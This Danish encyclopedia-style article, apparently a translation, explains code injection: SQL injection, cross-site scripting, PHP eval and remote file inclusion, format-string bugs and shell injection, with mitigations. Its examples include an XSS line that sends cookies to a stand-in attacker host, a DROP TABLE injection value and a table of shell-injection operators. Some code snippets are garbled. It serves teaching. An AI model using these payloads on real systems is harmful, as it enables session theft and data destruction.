SQL-injektionRediger
SQL-injektion udnytter syntaksen i SQL til at injicere kommandoer, der kan læse eller ændre en database eller kompromittere betydningen af den oprindelige forespørgsel.
Tænk f.eks. på en webside, der har to felter, hvor brugerne kan indtaste et brugernavn og en adgangskode. Koden bag siden genererer en SQL-forespørgsel for at kontrollere adgangskoden i forhold til listen over brugernavne:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Hvis denne forespørgsel returnerer nogen rækker, er der givet adgang. Men hvis den ondsindede bruger indtaster et gyldigt brugernavn og injicerer en gyldig kode (password' OR '1'='1
) i feltet Password, vil den resulterende forespørgsel se således ud:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
I eksemplet ovenfor antages “Password” at være blank eller en uskyldig streng. “'1'='1'
” vil altid være sandt, og der vil blive returneret mange rækker, hvilket giver adgang.
Teknikken kan forfines, så der kan køres flere sætninger, eller sågar indlæses og køres eksterne programmer.
Antag en forespørgsel med følgende format:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Hvis en modstander har følgende som input:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
Password: 'OR"='
vil forespørgslen blive analyseret til at være:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Resultatet er, at tabellen User
bliver fjernet fra databasen. Dette sker, fordi symbolet ;
betyder afslutningen på en kommando og starten på en ny kommando. --
betegner starten på en kommentar.
Cross-site scriptingRediger
Kodeinjektion er ondsindet injektion eller indførelse af kode i et program på ondsindet vis. Nogle webservere har et gæstebogsscript, som accepterer små beskeder fra brugerne, og som typisk modtager beskeder som:
Very nice site!
En ondsindet person kan imidlertid kende til en sårbarhed i gæstebogen med hensyn til kodeinjektion og indtaster en besked som:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Hvis en anden bruger ser siden, vil den injicerede kode blive eksekveret. Denne kode kan gøre det muligt for en angriber at udgive sig for at være en anden bruger. Men den samme softwarefejl kan ved et uheld udløses af en ubetænksom bruger, hvilket vil få webstedet til at vise dårlig HTML-kode.
HTML- og scriptinjektion er et populært emne, der almindeligvis betegnes “cross-site scripting” eller “XSS”. XSS henviser til en injektionsfejl, hvorved brugerinput til et webskript eller noget i den retning placeres i output-HTML uden at blive kontrolleret for HTML-kode eller scripting.
Mange af disse problemer er relateret til fejlagtige antagelser om, hvilke inputdata der er mulige, eller virkningerne af særlige data.
Sårbarheder ved dynamisk evalueringRediger
En eval()
-injektionssårbarhed opstår, når en angriber kan kontrollere hele eller en del af en inputstreng, der føres ind i et eval()
-funktionsopkald.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Argumentet “eval
” vil blive behandlet som PHP, så der kan tilføjes yderligere kommandoer. Hvis “arg” f.eks. er sat til “10; system('/bin/echo uh-oh')
“, køres der yderligere kode, som udfører et program på serveren, i dette tilfælde “/bin/echo
“.
Object injectionRediger
PHP tillader serialisering og deserialisering af hele objekter. Hvis der tillades ikke-pålidelige input i deserialiseringsfunktionen, er det muligt at overskrive eksisterende klasser i programmet og udføre ondsindede angreb. Et sådant angreb på Joomla blev fundet i 2013.
Remote file injectionRediger
Se på dette PHP-program (som indeholder en fil, der er specificeret ved anmodning):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Eksemplet kan læses som om, at kun farvefiler som blue.php
og red.php
kan indlæses, mens angribere kan angive COLOR=http://evil.com/exploit
, hvilket får PHP til at indlæse den eksterne fil.
Format specifier injectionRediger
Formatstrengfejl opstår oftest, når en programmør ønsker at udskrive en streng, der indeholder data leveret af brugeren. Programmøren kan ved en fejl skrive printf(buffer)
i stedet for printf("%s", buffer)
. Den første version fortolker buffer
som en formatstreng og analyserer eventuelle formateringsinstruktioner, som den måtte indeholde. Den anden version udskriver blot en streng til skærmen, som programmøren havde tænkt sig. Overvej følgende korte C-program, der har en lokal variabel char array password
, som indeholder en adgangskode; programmet spørger brugeren om et heltal og en streng og udsender derefter den af brugeren leverede streng som ekko.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Hvis brugerinput er fyldt med en liste af formatspecifikatorer som %s%s%s%s%s%s%s%s
, så vil printf()
begynde at læse fra stakken. Til sidst vil en af %s
-formatspecifikatorerne få adgang til adressen password
, som befinder sig på stakken, og udskrive Password1
til skærmen.
Shell-injektionRediger
Shell-injektion (eller kommandoinjektion) er opkaldt efter Unix-shells, men gælder for de fleste systemer, der tillader software at udføre en kommandolinje programmatisk. Her er et eksempel på et sårbart tcsh-script:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Hvis ovenstående er gemt i den eksekverbare fil ./check
, vil shell-kommandoen ./check " 1 ) evil"
forsøge at udføre den injicerede shell-kommando evil
i stedet for at sammenligne argumentet med det konstante. Her er den kode, der angribes, den kode, der forsøger at kontrollere parameteren, selve den kode, der måske havde forsøgt at validere parameteren for at forsvare sig mod et angreb.
Alle funktioner, der kan bruges til at sammensætte og køre en shell-kommando, er et potentielt middel til at iværksætte et shell-injektionsangreb. Blandt disse er system()
, StartProcess()
og System.Diagnostics.Process.Start()
.
Klient-server-systemer som f.eks. interaktion mellem webbrowser og webservere er potentielt sårbare over for shell-injektion. Overvej følgende korte PHP-program, der kan køre på en webserver for at køre et eksternt program kaldet funnytext
for at erstatte et ord, som brugeren har sendt, med et andet ord.
<?phppassthru("/bin/funnytext " . $_GET);
Den passthru
i ovenstående sammensætter en shell-kommando, som derefter udføres af webserveren. Da en del af kommandoen, som den sammensætter, er hentet fra den URL, som webbrowseren har angivet, kan URL’en således injicere skadelige shell-kommandoer. Man kan injicere kode i dette program på flere måder ved at udnytte syntaksen for forskellige shell-funktioner (denne liste er ikke udtømmende):
Shell-funktion | USER_INPUT værdi |
Resulting shell command | Explanation | |
---|---|---|---|---|
Sequential execution | ; malicious_command |
; malicious_command |
/bin/funnytext ; malicious_command |
Eksekverer funnytext , derefter eksekveres malicious_command . |
Pipelines | | malicious_command |
/bin/funnytext | malicious_command |
Sender output af funnytext som input til malicious_command . |
|
Kommandosubstitution | `malicious_command` |
`malicious_command` |
/bin/funnytext `malicious_command` |
Sender output af malicious_command som argumenter til funnytext . |
Kommandosubstitution | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Sender output af malicious_command som argumenter til funnytext . |
|
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Udfører malicious_command , hvis funnytext returnerer en exitstatus på 0 (succes). |
|
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Afvikler malicious_command , hvis funnytext returnerer en udgangsstatus, der ikke er nul (fejl). |
|
Output redirection | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Overskriver indholdet af filen .bashrc med output af funnytext . |
|
Input redirection | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Sender indholdet af filen .bashrc som input til funnytext . |
Nogle sprog tilbyder funktioner til korrekt escape eller citationstegn, der bruges til at konstruere shell-kommandoer:
- PHP:
escapeshellarg()
ogescapeshellcmd()
- Python:
escapeshellarg()
ogescapeshellcmd()
- Python:
shlex.quote()
Dette lægger dog stadig byrden på programmørerne, som skal kende/lære om disse funktioner og huske at gøre brug af dem, hver gang de bruger shell-kommandoer. Ud over at bruge disse funktioner anbefales det også at validere eller rense brugerinput.
Et sikrere alternativ er at bruge API’er, der afvikler eksterne programmer direkte i stedet for gennem en shell, hvilket forhindrer muligheden for shell-injektion. Disse API’er har dog en tendens til ikke at understøtte forskellige bekvemmelighedsfunktioner i shells og/eller til at være mere besværlige/forvirrede i forhold til en kortfattet shell-syntaks.